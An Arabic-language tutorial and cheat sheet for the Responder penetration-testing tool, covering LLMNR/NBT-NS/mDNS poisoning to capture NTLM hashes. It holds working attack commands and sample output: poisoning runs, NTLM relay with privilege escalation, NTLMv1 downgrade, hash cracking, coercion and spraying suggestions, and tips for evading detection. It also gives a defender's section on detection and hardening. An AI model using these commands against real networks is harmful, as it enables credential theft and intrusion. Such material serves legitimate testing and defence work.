اعرف اللي قصادك. احمي أرضك.

Responder

أداة تسميم لبروتوكولات LLMNR وNBT-NS وmDNS، تستخدم لالتقاط هاشات NTLM من المستخدمين عبر استجابات وهمية على الشبكة المحلية.

هجوممفتوحة المصدرLinux
github.com/lgandx/Responder

أداة Responder — الدليل الكامل للتعامل مع بروتوكولات التسميم

تُعد أداة Responder من الأدوات الأساسية في عمليات التسميم لبروتوكولات (LLMNR / NBT-NS / mDNS). عندما يفشل مضيف يعمل بنظام Windows في العثور على اسم عبر نظام DNS، فإنه يقوم بإرسال نداء بث (Broadcast) متسائلاً: "هل يعرف أحدكم X؟". هنا تتدخل Responder لترد بـ "أنا أعرفه!"، مما يدفع الضحية لمحاولة المصادقة عبر بروتوكول NTLM مع جهاز المهاجم، وبالتالي التقاط "التحدي والاستجابة" (NetNTLMv1/v2 challenge-response).

التثبيت (Install)

$ apt install responder
$ git clone https://github.com/lgandx/Responder

يجب تشغيل الأداة بصلاحيات الجذر (root) لأنها تحتاج للارتباط بمنافذ محمية.

الأعلام الأساسية (Core flags)

العلم (Flag)الغرض
-I <iface>واجهة الشبكة التي سيتم الاستماع عليها
-wبدء وكيل WPAD (ملف wpad.dat وهمي)
-rالرد على استعلامات NetBIOS لمحطات العمل
-dالرد على استعلامات NetBIOS للنطاق (Domain)
-fتحديد بصمة نظام التشغيل (Fingerprint) عبر NBT
-vنمط التفصيل (Verbose)
-Aنمط التحليل (Analyze mode) — استماع فقط بدون ردود (استطلاع)
-Fفرض مصادقة NTLM (عبر HTTP) بغض النظر عن معرف المستخدم (UA)
-Pفرض المصادقة الأساسية (Basic Auth) على HTTP (لالتقاط كلمات المرور الصريحة إذا تجاهل المستخدم تحذير الشهادة)
-Nعدم الرد على ملف أسماء محدد
--lmفرض خفض مستوى المصادقة إلى LM
--disable-essتعطيل أمن الجلسة الممتد (التحويل إلى NTLMv1)
--external-ipاستخدام عنوان IP خارجي كجواب لعملية التسميم
-e <ip>التسميم باستخدام عنوان IP محدد
--basicالمصادقة عبر Basic، لتسهيل عمليات الالتقاط

الإعدادات: Responder.conf

توجد الإعدادات في المسار /usr/share/responder/Responder.conf (أو في جذر المستودع) — وأهم المفاتيح هي:

[Responder Core]
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = On

Challenge = 1122334455667788   # تحدي قابل للتنبؤ ← كسر التشفير باستخدام جداول Rainbow
SessionLog = Responder-Session.log

تقوم جميع الخوادم الافتراضية (HTTP, SMB, FTP, ...) بالتقاط بيانات الاعتماد من أي عميل يتصل بها.

مسارات العمل (Workflows)

التشغيل القياسي

$ sudo responder -I eth0 -dwv

يقوم -d بتسميم استعلامات NetBIOS للنطاق، و -w بتشغيل WPAD، و -v لعرض التفاصيل.

الاستطلاع بنمط الاستماع فقط

$ sudo responder -I eth0 -A

يخبرك بالأسماء التي يمكن تسميمها دون إرسال أي حركة مرور فعلياً. ممتاز كخطوة فحص قبل البدء الفعلي (Pre-engagement check).

الاقتران مع ntlmrelayx (الهجوم الحقيقي)

قم بتعطيل خوادم SMB و HTTP في Responder (حتى لا ترد هي بدلاً من القيام بعملية الترحيل)، ثم قم بتشغيل ntlmrelayx بشكل منفصل:

# تحرير ملف Responder.conf:
$ SMB = Off
$ HTTP = Off
$
$ sudo responder -I eth0 -dwv # الطرفية 1
$ ntlmrelayx.py -tf targets.txt -smb2support --escalate-user alice # الطرفية 2

فرض خفض المستوى لـ NTLMv1 لكسره عبر جداول Rainbow

$ sudo responder -I eth0 -dwv --lm --disable-ess

تحدي NTLMv1 رقم 1122334455667788 له مجموعات Rainbow معدة مسبقاً ← بتكلفة حوالي 25 دولاراً من طاقة المعالج الرسومي (GPU) ليوم واحد يمكن استعادة أي هاش ملتقط. أنظمة ويندوز الحديثة تحظر هذا افتراضياً، لكن الأجهزة القديمة لا تزال تستجيب.

نموذج المخرجات الناجحة

[*] [LLMNR]  Poisoned answer sent to 10.0.1.42 for name files-srv (REQUEST: A)
[SMB] NTLMv2-SSP Hash     : alice::CORP:1122334455667788:0F1E2D3C...:01010000...
[*] Skipping previously captured hash for CORP\alice

احفظ الهاش الملتقط، وقم بكسره باستخدام hashcat:

$ hashcat -m 5600 hashes.txt rockyou.txt

أو قم بترحيله مباشرة (Relay) دون الحاجة للكسر (أسرع، لكن يتطلب هدفاً يكون فيه توقيع SMB معطلاً أو يسمح بالترحيل).

المخرجات الخاطئة والإصلاحات

الأعراضالسببالإصلاح
الأداة تعمل ولكن لا يوجد التقاطالشبكة تفتقر لحركة مرور البث / وقت هادئ جداًانتظر، أو قم بتحفيز المصادقة عبر أساليب الإكراه مثل PetitPotam
التقاط الهاشات تم لكن تعذر كسرهاكلمة مرور قويةاستخدم أسلوب الرش (Spraying) أو الترحيل (Relay) بدلاً من الكسر
تعارض مع خدمة SMB تعمل حالياًخدمة Samba المحلية مرتبطة بالمنفذ 445systemctl stop smbd
أحداث أقل من المتوقعتعطيل LLMNR / mDNS / NBT عبر سياسة المجموعة (GPO)انتقل إلى أساليب المصادقة القسرية (Coerced auth)
فشل تسميم أسماء المضيفين Hostnames poisoning failureواجهة شبكة خاطئةتحقق باستخدام ip a وأعد التشغيل مع العلم -I الصحيح

منظور المدافع (Defender's perspective)

تعتبر Responder من أسهل الأدوات في الاكتشاف:

  • ظهور عنوان IP جديد يرد على استعلامات LLMNR (UDP 5355) / NBT-NS (UDP 137) في الشبكة المحلية.
  • خادم HTTP يرجع المجال (Realm) باسم WORKGROUP أو CORP لأي رابط URL.
  • انفجار مفاجئ في محاولات مصادقة NTLM من أجهزة متعددة نحو عنوان IP واحد جديد.

تحصين الأنظمة (Hardening):

  • تعطيل LLMNR: (عبر GPO: Computer Config → Admin Templates → Network → DNS Client → Turn Off Multicast Name Resolution = Enabled).
  • تعطيل NBT-NS: لكل واجهة شبكة على حدة (Disable NetBIOS over TCP/IP).
  • فرض توقيع SMB (SMB Signing): في كل مكان — وهذا يقتل هجمات الترحيل (Relay).
  • استخدام "Honeyhost" مصدق: جهاز وهمي يرد على استعلامات LLMNR — أي عميل يحاول المصادقة معه يعتبر نشاطاً مشبوهاً.

الأمن العملياتي (OPSEC)

  • الأداة "صاخبة" (Loud) — تظهر بوضوح في سجلات المراقبة. مقبولة في اختبارات الاختراق المحدودة النطاق، لكنها خطرة خارج ذلك.
  • قم بتعطيل وحدات Responder التي لا تحتاجها، خاصة HTTP، لتقليل الضجيج على المنافذ.
  • استخدم عنوان IP منفصل للاستماع — أول رد فعل للمدافع هو "البحث عن الIP الجديد الذي حاول الجميع المصادقة معه".
  • نسق مع أداة mitm6 (تسميم IPv6 DHCP)، فهي غالباً ما تكون أكثر فاعلية في الشبكات الحديثة.

أدوات ذات صلة

الأداةالتخصص
Inveighنسخة مكتوبة بلغة C# / PowerShell من Responder (لمشغلي ويندوز)
mitm6تسميم DHCPv6 + DNS (فعالة جداً في الشبكات المزدوجة)
ntlmrelayx.pyنهاية سلسلة هجوم الترحيل (Relay)
Pretenderبديل حديث مكتوب بلغة Go (يدعم mDNS / LLMNR / NBT-NS / DHCPv6)
dnschefمخادع DNS لعمليات "الرجل في المنتصف" (MITM)